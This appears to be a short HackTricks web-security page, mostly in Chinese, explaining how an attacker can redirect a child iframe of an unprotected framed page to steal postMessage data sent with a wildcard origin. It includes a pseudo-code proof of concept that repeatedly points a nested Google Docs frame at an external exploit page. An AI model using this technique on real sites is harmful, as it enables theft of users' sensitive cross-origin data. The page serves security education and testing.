Steal postmessage modifying iframe location

Support HackTricks

Changing child iframes locations

根据这篇文章,如果你可以在没有 X-Frame-Header 的情况下将一个网页嵌入为 iframe,并且该网页包含另一个 iframe,你可以更改该子 iframe 的位置

例如,如果 abc.com 将 efg.com 作为 iframe,并且 abc.com 没有 X-Frame header,我可以使用 frames.location 将 efg.com 更改为 evil.com 跨域。

这在 postMessages 中特别有用,因为如果一个页面使用 通配符 发送敏感数据,例如 windowRef.postmessage("","*"),则可以将相关 iframe(子或父)的地址更改为攻击者控制的位置并窃取该数据。

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function(){ exp(); }, 6000);

function exp(){
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function(){
window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
}, 100);
}
</script>
</html>
支持 HackTricks

Last updated